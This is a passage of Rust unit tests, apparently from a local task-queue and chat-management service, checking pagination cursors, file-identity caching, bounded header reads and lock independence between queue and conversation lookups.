27150            child.id.clone(),
27151            crate::conduct::NODE.into(),
27152            "seat".into(),
27153            "Continue?".into(),
27154            String::new(),
27155            vec![],
27156        );
27157        let (tasks, talks, _watches) =
27158            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27159        assert_eq!(tasks.len(), 2);
27160        assert_eq!(talks.len(), 1);
27161        assert_eq!(
27162            ui.monitor.queue_index.lock().unwrap().reparsed,
27163            0,
27164            "exact ancestry bypasses the index"
27165        );
27166        assert_eq!(
27167            crate::consult::origin_talk(&tasks, &talks, &question)
27168                .unwrap()
27169                .id,
27170            chat_id
27171        );
27172        question.run = "run-child".into();
27173        question.node = "review".into();
27174        for origin_task in [Some(parent.id.clone()), None] {
27175            child.followup.as_mut().unwrap().origin_task = origin_task;
27176            ui.queue.put(&mut child).unwrap();
27177            let (tasks, talks, _watches) =
27178                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27179            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27180            let expected =
27181                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27182                    .unwrap();
27183            assert_eq!(actual.id, expected.id);
27184            assert!(!actual.status.open());
27185            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27186            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27187            // Without Unix file identity, every readable record must be
27188            // reparsed to detect same-size, same-mtime replacements safely.
27189            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27190            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27191        }
27192        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27193        ui.queue.put(&mut child).unwrap();
27194        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27195        let (tasks, talks, _watches) =
27196            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27197        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27198        child.origin_chat = Some(chat_id.clone());
27199        ui.queue.put(&mut child).unwrap();
27200        let (tasks, talks, _watches) =
27201            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27202        assert_eq!(
27203            crate::consult::origin_talk(&tasks, &talks, &question)
27204                .unwrap()
27205                .id,
27206            chat_id
27207        );
27208        let revision = question_record_revision(&question);
27209        question.abandon("settled elsewhere");
27210        assert_ne!(revision, question_record_revision(&question));
27211        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27212        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27213        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27214        let (tasks, talks, _watches) =
27215            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27216        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27217    }
27218
27219    #[test]
27220    fn list_cursors_freeze_membership_and_expire_explicitly() {
27221        let home = tempfile::tempdir().unwrap();
27222        let ui = delta_test_ui(home.path());
27223        std::fs::create_dir_all(ui.queue.root()).unwrap();
27224        for i in 0..40 {
27225            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27226        }
27227        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27228        assert_eq!(first.len(), STORE_PAGE_SIZE);
27229        let cursor = cursor.unwrap();
27230        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27231        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27232        let (second, _) = page_ids(
27233            &ui,
27234            false,
27235            PageQuery {
27236                before: Some(cursor.clone()),
27237            },
27238        )
27239        .unwrap();
27240        assert_eq!(second[0], "record-0023");
27241        assert!(second.iter().all(|id| !first.contains(id)));
27242        assert!(
27243            page_ids(
27244                &ui,
27245                true,
27246                PageQuery {
27247                    before: Some(cursor.clone())
27248                }
27249            )
27250            .is_err()
27251        );
27252        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27253        assert_eq!(fresh[0], "record-9999");
27254        ui.monitor.list_walks.lock().unwrap().clear();
27255        assert!(
27256            page_ids(
27257                &ui,
27258                false,
27259                PageQuery {
27260                    before: Some(cursor)
27261                }
27262            )
27263            .is_err()
27264        );
27265    }
27266
27267    #[tokio::test]
27268    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27269        let home = tempfile::tempdir().unwrap();
27270        let ui = delta_test_ui(home.path());
27271        // Every closed conversation is newer by ID than every open conversation.
27272        for i in 0..23 {
27273            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27274        }
27275        for i in 0..45 {
27276            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27277        }
27278        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27279        let first = talks_page(
27280            State(ui.clone()),
27281            Query(PageQuery::default()),
27282            header::HeaderMap::new(),
27283        )
27284        .await
27285        .unwrap()
27286        .0;
27287        assert_eq!(
27288            first.rows.iter().filter(|row| row.status.open()).count(),
27289            23
27290        );
27291        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27292        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27293        let parsed = ui
27294            .monitor
27295            .talk_parses
27296            .load(std::sync::atomic::Ordering::Relaxed);
27297        assert_eq!(
27298            parsed,
27299            first.rows.len(),
27300            "closed bodies outside this page are not restored"
27301        );
27302        let fresh = talks_page(
27303            State(ui.clone()),
27304            Query(PageQuery::default()),
27305            header::HeaderMap::new(),
27306        )
27307        .await
27308        .unwrap()
27309        .0;
27310        assert_eq!(fresh.rows.len(), first.rows.len());
27311        assert_eq!(
27312            ui.monitor
27313                .talk_parses
27314                .load(std::sync::atomic::Ordering::Relaxed),
27315            parsed
27316        );
27317        let mut seen: std::collections::HashSet<_> =
27318            first.rows.iter().map(|row| row.id.clone()).collect();
27319        // Status changes keep their original membership position until refresh.
27320        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27321        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27322        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27323        let mut next = first.next;
27324        while let Some(cursor) = next {
27325            let page = talks_page(
27326                State(ui.clone()),
27327                Query(PageQuery {
27328                    before: Some(cursor),
27329                }),
27330                header::HeaderMap::new(),
27331            )
27332            .await
27333            .unwrap()
27334            .0;
27335            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27336            for row in page.rows {
27337                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27338            }
27339            next = page.next;
27340        }
27341        let expected: HashSet<_> = (0..23)
27342            .map(|i| format!("20260101-000000-{i:03}"))
27343            .chain(
27344                (0..45)
27345                    .filter(|i| *i != 1)
27346                    .map(|i| format!("20261019-000000-{i:03}")),
27347            )
27348            .collect();
27349        assert_eq!(
27350            seen, expected,
27351            "the cursor walk must return every surviving ID"
27352        );
27353        let refreshed = talks_page(
27354            State(ui.clone()),
27355            Query(PageQuery::default()),
27356            header::HeaderMap::new(),
27357        )
27358        .await
27359        .unwrap()
27360        .0;
27361        assert_eq!(
27362            refreshed
27363                .rows
27364                .iter()
27365                .filter(|row| row.status.open())
27366                .count(),
27367            23
27368        );
27369        assert!(
27370            refreshed
27371                .rows
27372                .iter()
27373                .any(|row| row.id == "20261019-000000-000")
27374        );
27375        assert!(
27376            !refreshed
27377                .rows
27378                .iter()
27379                .any(|row| row.id == "20260101-000000-000")
27380        );
27381    }
27382
27383    #[test]
27384    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27385        let home = tempfile::tempdir().unwrap();
27386        let ui = delta_test_ui(home.path());
27387        for i in 0..STORE_PAGE_SIZE + 5 {
27388            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27389        }
27390        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27391        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27392        assert!(next.is_none());
27393    }
27394
27395    #[test]
27396    fn chat_status_promotes_closed_owner_goal_in_header() {
27397        let home = tempfile::tempdir().unwrap();
27398        let ui = delta_test_ui(home.path());
27399        for i in 0..STORE_PAGE_SIZE + 5 {
27400            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27401        }
27402        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27403        let path = ui.talks.path_of(&id);
27404        let mut raw: serde_json::Value =
27405            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27406        raw["goals"] = serde_json::json!([{
27407            "id": "g", "purpose": "ship", "scope": "task",
27408            "condition": {"description": "done", "kind": "tasks_done"},
27409            "state": "owner", "step": "decision", "source_turn": 0,
27410            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27411            "evidence": "", "wake": 0, "handled": 0, "started": null,
27412            "wakes": 0, "last_checked": null, "fingerprint": ""
27413        }]);
27414        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27415        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27416        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27417        assert!(ids.contains(&id));
27418        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27419        let row = rows.iter().find(|row| row.id == id).unwrap();
27420        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27421        {
27422            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27423            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27424            assert!(cache.len() > STORE_PAGE_SIZE);
27425        }
27426        // A second request must retain the projection even for promoted rows.
27427        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27428        assert!(again.contains(&id));
27429        // A same-length rewrite preserving write time still changes identity.
27430        let modified = path.metadata().unwrap().modified().unwrap();
27431        raw["goals"][0]["state"] = serde_json::json!("paused");
27432        raw["goals"][0]["step"] = serde_json::json!("waiting");
27433        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27434        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27435        std::fs::OpenOptions::new()
27436            .write(true)
27437            .open(&path)
27438            .unwrap()
27439            .set_modified(modified)
27440            .unwrap();
27441        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27442        assert!(!changed.contains(&id));
27443        // A legacy file with goals after turns is deferred to its history page.
27444        let mut raw = serde_json::to_value(&chat).unwrap();
27445        raw["goals"][0]["state"] = serde_json::json!("owner");
27446        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27447        let mut body = serde_json::to_string(&raw).unwrap();
27448        body.pop();
27449        body.push_str(&format!(",\"goals\":{goals}}}"));
27450        std::fs::write(&path, body).unwrap();
27451        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27452        assert!(!initial.contains(&id));
27453        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27454        assert_eq!(
27455            rows[0].chat_status.kind,
27456            crate::chat_status::Kind::NeedsOwner
27457        );
27458    }
27459
27460    #[test]
27461    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27462        let home = tempfile::tempdir().unwrap();
27463        let ui = delta_test_ui(home.path());
27464        let id = seed_talk_at(&ui.talks, "chat", "open");
27465        let before = monitor_scan(&ui, None);
27466        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27467        let during = monitor_scan(&ui, Some(before.clone()));
27468        assert_ne!(during.0.3, before.0.3);
27469        drop(lease);
27470        let after = monitor_scan(&ui, Some(during));
27471        assert_eq!(after.0.3, before.0.3);
27472    }
27473
27474    #[test]
27475    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27476        struct Counted<R> {
27477            inner: R,
27478            bytes: usize,
27479        }
27480        impl<R: std::io::Read> std::io::Read for Counted<R> {
27481            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27482                let n = self.inner.read(buf)?;
27483                self.bytes += n;
27484                Ok(n)
27485            }
27486        }
27487        let home = tempfile::tempdir().unwrap();
27488        let ui = delta_test_ui(home.path());
27489        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27490        let mut chat = ui.talks.get(&id).unwrap();
27491        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27492            chat.turns = vec![
27493                serde_json::from_value(serde_json::json!({
27494                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27495                }))
27496                .unwrap(),
27497            ];
27498            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27499                chat.status = status;
27500                // Exercise the actual on-disk serializer, including its field order.
27501                let body = serde_json::to_vec_pretty(&chat).unwrap();
27502                let mut reader = Counted {
27503                    inner: body.as_slice(),
27504                    bytes: 0,
27505                };
27506                assert_eq!(read_talk_status(&mut reader), Some(status));
27507                assert!(
27508                    reader.bytes <= 1024,
27509                    "header classification read {} bytes",
27510                    reader.bytes
27511                );
27512            }
27513        }
27514        // Noncanonical field order must neither traverse a transcript nor hide
27515        // an open row. Its real status is validated by the ordinary row reader.
27516        let noncanonical = format!(
27517            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27518            "x".repeat(1024 * 1024)
27519        );
27520        let mut reader = Counted {
27521            inner: noncanonical.as_bytes(),
27522            bytes: 0,
27523        };
27524        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27525        assert!(reader.bytes <= 1024);
27526        let legacy = format!(
27527            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27528            "x".repeat(1024 * 1024)
27529        );
27530        let mut reader = Counted {
27531            inner: legacy.as_bytes(),
27532            bytes: 0,
27533        };
27534        assert!(!read_owner_goal(&mut reader));
27535        assert!(reader.bytes <= 1024);
27536        let oversized = format!(
27537            r#"{{"agent":"{}","status":"open"}}"#,
27538            "x".repeat(128 * 1024)
27539        );
27540        let mut reader = Counted {
27541            inner: oversized.as_bytes(),
27542            bytes: 0,
27543        };
27544        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27545        assert!(reader.bytes <= 64 * 1024);
27546    }
27547
27548    #[test]
27549    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27550        let home = tempfile::tempdir().unwrap();
27551        let ui = delta_test_ui(home.path());
27552        seed_talk_at(&ui.talks, "header-chat", "open");
27553        std::fs::create_dir_all(ui.queue.root()).unwrap();
27554        let (started, ready) = std::sync::mpsc::channel();
27555        let (release, wait) = std::sync::mpsc::channel();
27556        let chat_ui = ui.clone();
27557        let scan = std::thread::spawn(move || {
27558            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27559                started.send(()).unwrap();
27560                wait.recv().unwrap();
27561                open_talk_ids(ui, ids)
27562            })
27563            .unwrap()
27564        });
27565        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27566        let (finished, result) = std::sync::mpsc::channel();
27567        let queue = std::thread::spawn(move || {
27568            finished
27569                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27570                .unwrap();
27571        });
27572        let completed = result.recv_timeout(Duration::from_secs(2));
27573        // Release and join both workers even if the regression returns.
27574        release.send(()).unwrap();
27575        scan.join().unwrap();
27576        queue.join().unwrap();
27577        assert!(
27578            completed.unwrap(),
27579            "queue paging must not wait for chat header I/O"
27580        );
27581    }
27582
27583    #[test]
27584    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27585        let home = tempfile::tempdir().unwrap();
27586        let ui = delta_test_ui(home.path());
27587        let ids = vec!["changing-chat".to_owned()];
27588        seed_talk_at(&ui.talks, &ids[0], "closed");
27589        assert!(open_talk_ids(&ui, &ids).is_empty());
27590        seed_talk_at(&ui.talks, &ids[0], "open");
27591        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27592            let value: serde_json::Value =
27593                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27594            // Replace the file after parsing, before its identity is checked again.
27595            seed_talk_at(&ui.talks, &ids[0], "closed");
27596            serde_json::from_value(value["status"].clone()).ok()
27597        });
27598        assert!(open.contains(&ids[0]));
27599        assert!(
27600            ui.monitor
27601                .talk_status_index
27602                .lock()
27603                .unwrap()
27604                .records
27605                .is_empty()
27606        );
27607        assert!(open_talk_ids(&ui, &ids).is_empty());
27608        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27609    }
27610
27611    #[test]
27612    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27613        let home = tempfile::tempdir().unwrap();
27614        let ui = delta_test_ui(home.path());
27615        let ids = vec!["same-stamp-chat".to_owned()];
27616        seed_talk_at(&ui.talks, &ids[0], "open");
27617        // Model a non-Unix metadata collision deterministically: the old
27618        // classification has a fingerprint equal to the current file's.
27619        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27620            ids[0].clone(),
27621            (
27622                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27623                Some(talk::TalkStatus::Closed),
27624            ),
27625        );
27626        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27627            std::fs::File::open(path).ok().and_then(read_talk_status)
27628        });
27629        assert!(
27630            open.contains(&ids[0]),
27631            "an untrusted cache hit must still read the current header"
27632        );
27633        assert!(
27634            ui.monitor
27635                .talk_status_index
27636                .lock()
27637                .unwrap()
27638                .records
27639                .is_empty()
27640        );
27641        seed_talk_at(&ui.talks, &ids[0], "closed");
27642        assert!(
27643            open_talk_ids_with(&ui, &ids, false, |path| {
27644                std::fs::File::open(path).ok().and_then(read_talk_status)
27645            })
27646            .is_empty()
27647        );
27648        let index = ui.monitor.talk_status_index.lock().unwrap();
27649        assert_eq!(index.parses, 2);
27650        assert!(
27651            index.records.is_empty(),
27652            "untrusted fingerprints must never publish cache entries"
27653        );
27654    }
27655
27656    #[test]
27657    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27658        let home = tempfile::tempdir().unwrap();
27659        let ui = delta_test_ui(home.path());
27660        let headers = header::HeaderMap::new();
27661        seed_talk_at(&ui.talks, "open-chat", "open");
27662        seed_talk_at(&ui.talks, "closed-chat", "closed");
27663        talk_rows(
27664            &ui,
27665            vec!["open-chat".into(), "closed-chat".into()],
27666            &headers,
27667        );
27668        {
27669            let mut index = ui.monitor.talk_index.lock().unwrap();
27670            let closed = index["closed-chat"].1.clone();
27671            for i in 0..1000 {
27672                index.insert(
27673                    format!("cached-closed-{i}"),
27674                    (
27675                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27676                        closed.clone(),
27677                    ),
27678                );
27679            }
27680        }
27681        assert_eq!(
27682            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27683            1
27684        );
27685        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27686        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27687        assert_eq!(
27688            ui.monitor
27689                .talk_parses
27690                .load(std::sync::atomic::Ordering::Relaxed),
27691            2
27692        );
27693        {
27694            let mut index = ui.monitor.talk_index.lock().unwrap();
27695            let open = index["open-chat"].1.clone();
27696            for i in 0..1000 {
27697                index.insert(
27698                    format!("cached-open-{i}"),
27699                    (
27700                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27701                        open.clone(),
27702                    ),
27703                );
27704            }
27705        }
27706        // Even when open rows exceed the bound, keep the currently requested rows.
27707        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27708        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27709        assert_eq!(
27710            ui.monitor
27711                .talk_parses
27712                .load(std::sync::atomic::Ordering::Relaxed),
27713            2
27714        );
27715    }
27716
27717    #[test]
27718    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27719        let home = tempfile::tempdir().unwrap();
27720        let ui = delta_test_ui(home.path());
27721        std::fs::create_dir_all(ui.talks.root()).unwrap();
27722        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27723        for id in &ids {
27724            std::fs::write(
27725                ui.talks.path_of(id),
27726                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27727            )
27728            .unwrap();
27729        }
27730        assert!(open_talk_ids(&ui, &ids).is_empty());
27731        assert_eq!(
27732            ui.monitor.talk_status_index.lock().unwrap().parses,
27733            ids.len()
27734        );
27735        assert!(open_talk_ids(&ui, &ids).is_empty());
27736        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27737        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27738        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27739        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27740        assert_eq!(
27741            open_talk_ids(&ui, &ids),
27742            std::collections::HashSet::from([ids[0].clone()])
27743        );
27744        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27745        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27746        assert_eq!(parsed, reused + refreshed);
27747        open_talk_ids(&ui, &ids);
27748        assert_eq!(
27749            ui.monitor.talk_status_index.lock().unwrap().parses,
27750            parsed + if cfg!(unix) { 0 } else { ids.len() },
27751            "only reliable file identity permits caching, including unreadable rows"
27752        );
27753        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27754        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27755        assert!(
27756            !ui.monitor
27757                .talk_status_index
27758                .lock()
27759                .unwrap()
27760                .records
27761                .contains_key(&ids[0])
27762        );
27763        assert!(
27764            ui.monitor.talk_index.lock().unwrap().is_empty(),
27765            "classification never caches bodies"
27766        );
27767    }
27768
27769    #[tokio::test]
27770    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27771        let home = tempfile::tempdir().unwrap();
27772        let ui = delta_test_ui(home.path());
27773        let mut task = Task::new(
27774            "task".into(),
27775            "body".into(),
27776            PathBuf::from("/repo"),
27777            Source::Human,
27778        );
27779        ui.queue.put(&mut task).unwrap();
27780        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27781        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27782        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27783        let expected = parsed + usize::from(!cfg!(unix));
27784        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27785        task.status = crate::queue::TaskStatus::Held;
27786        ui.queue.put(&mut task).unwrap();
27787        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27788        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27789        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27790        ui.queue.put(&mut task).unwrap();
27791        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27792        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27793        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27794    }
27795
27796    #[tokio::test]
27797    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27798        let home = tempfile::tempdir().unwrap();
27799        let ui = delta_test_ui(home.path());
27800        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27801        let before = health(State(ui.clone())).await.unwrap().0;
27802        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27803        let after = health(State(ui)).await.unwrap().0;
27804        assert_ne!(before.notifications_rev, after.notifications_rev);
27805        assert_eq!(after.notifications_unread, 1);
27806    }
27807
27808    #[tokio::test]
27809    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27810        let home = tempfile::tempdir().unwrap();
27811        let ui = delta_test_ui(home.path());
27812        let queue = &ui.queue;
27813        let talks = &ui.talks;
27814        for i in 0..1000 {
27815            let id = format!("20261019-{i:06}-page");
27816            let mut task = Task::new(
27817                "task".into(),
27818                "instruction".repeat(100),
27819                PathBuf::from("/repo/magi"),
27820                Source::Human,
27821            );
27822            task.id = id.clone();
27823            if i == 0 {
27824                task.status = crate::queue::TaskStatus::Held;
27825            } else if i == 999 {
27826                task.status = crate::queue::TaskStatus::Blocked;
27827                task.blocked_by = vec!["20261019-000000-page".into()];
27828            }
27829            queue.put(&mut task).unwrap();
27830            seed_talk_at(talks, &id, "closed");
27831        }
27832        let page = serde_json::to_value(
27833            queue_page(State(ui.clone()), Query(PageQuery::default()))
27834                .await
27835                .unwrap()
27836                .0,
27837        )
27838        .unwrap();
27839        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27840        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27841        assert!(
27842            !page["rows"][0]["stuck_roots"]
27843                .as_array()
27844                .unwrap()
27845                .is_empty()
27846        );
27847        let cursor = page["next"].as_str().unwrap();
27848        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27849            .as_str()
27850            .unwrap();
27851        // Deleting an already enumerated file cannot shift or repeat a page.
27852        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27853        let next = serde_json::to_value(
27854            queue_page(
27855                State(ui.clone()),
27856                Query(PageQuery {
27857                    before: Some(cursor.into()),
27858                }),
27859            )
27860            .await
27861            .unwrap()
27862            .0,
27863        )
27864        .unwrap();
27865        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27866        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27867        let chats = serde_json::to_value(
27868            talks_page(
27869                State(ui.clone()),
27870                Query(PageQuery::default()),
27871                header::HeaderMap::new(),
27872            )
27873            .await
27874            .unwrap()
27875            .0,
27876        )
27877        .unwrap();
27878        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27879        assert!(chats["rows"][0].get("pending").is_none());
27880        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27881        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27882        assert_eq!(counts["held"], 1);
27883        assert_eq!(counts["blocked"], 1);
27884        assert_eq!(counts["queued"], 997);
27885    }
27886
27887    #[test]
27888    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27889        let dir = tempfile::tempdir().unwrap();
27890        let ui = delta_test_ui(dir.path());
27891        let mut task = Task::new(
27892            "task".into(),
27893            "body".into(),
27894            PathBuf::from("/repo"),
27895            Source::Human,
27896        );
27897        task.runs = vec!["run-a".into()];
27898        ui.queue.put(&mut task).unwrap();
27899        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27900        task.runs = vec!["run-b".into()];
27901        let path = ui.queue.path_of(&task.id);
27902        let modified = path.metadata().unwrap().modified().unwrap();
27903        let replacement = path.with_extension("replacement");
27904        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27905        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27906        std::fs::write(&replacement, &bytes).unwrap();
27907        std::fs::File::options()
27908            .write(true)
27909            .open(&replacement)
27910            .unwrap()
27911            .set_times(std::fs::FileTimes::new().set_modified(modified))
27912            .unwrap();
27913        std::fs::rename(&replacement, &path).unwrap();
27914        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27915        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27916        std::fs::write(&path, "broken").unwrap();
27917        assert!(ui.find_task_for_run("run-b").is_err());
27918        std::fs::write(&path, bytes).unwrap();
27919        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27920        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27921        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27922    }
27923
27924    #[tokio::test]
27925    async fn conversation_core_is_independent_of_unreadable_related_history() {
27926        let home = tempfile::tempdir().unwrap();
27927        let ui = delta_test_ui(home.path());
27928        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27929        std::fs::create_dir_all(ui.queue.root()).unwrap();
27930        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27931        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27932            .await
27933            .unwrap();
27934        assert_eq!(core.talk.id, id);
27935        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27936    }
27937
27938    #[test]
27939    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
27940        let home = tempfile::tempdir().unwrap();
27941        let ui = delta_test_ui(home.path());
27942        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27943        let directory = home.path().join("workers/jobs/abcdef");
27944        std::fs::create_dir_all(&directory).unwrap();
27945        let job = crate::worker::Job {
27946            id: "abcdef".into(),
27947            sequence: 1,
27948            kind: "chat".into(),
27949            key: id.clone(),
27950            payload: serde_json::json!({ "talk": id }),
27951            generation: "test".into(),
27952            version: None,
27953            status: crate::worker::Status::Running,
27954            result: None,
27955            pid: None,
27956            created_at: 0,
27957            finished_at: None,
27958        };
27959        std::fs::write(
27960            directory.join("job.json"),
27961            serde_json::to_vec(&job).unwrap(),
27962        )
27963        .unwrap();
27964        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
27965        let store =
27966            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
27967        let runtime = tokio::runtime::Builder::new_current_thread()
27968            .enable_all()
27969            .max_blocking_threads(1)
27970            .build()
27971            .unwrap();
27972        runtime.block_on(async {
27973            let (release, held) = std::sync::mpsc::channel();
27974            let (started, ready) = tokio::sync::oneshot::channel();
27975            let occupied = tokio::task::spawn_blocking(move || {
27976                started.send(()).unwrap();
27977                held.recv().unwrap();
27978            });
27979            ready.await.unwrap();
27980            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
27981            let bulk = ui
27982                .monitor
27983                .bulk_slots
27984                .clone()
27985                .acquire_many_owned(2)
27986                .await
27987                .unwrap();
27988            let result = tokio::time::timeout(
27989                Duration::from_secs(2),
27990                talk_core(State(ui.clone()), Path(id.clone())),
27991            )
27992            .await;
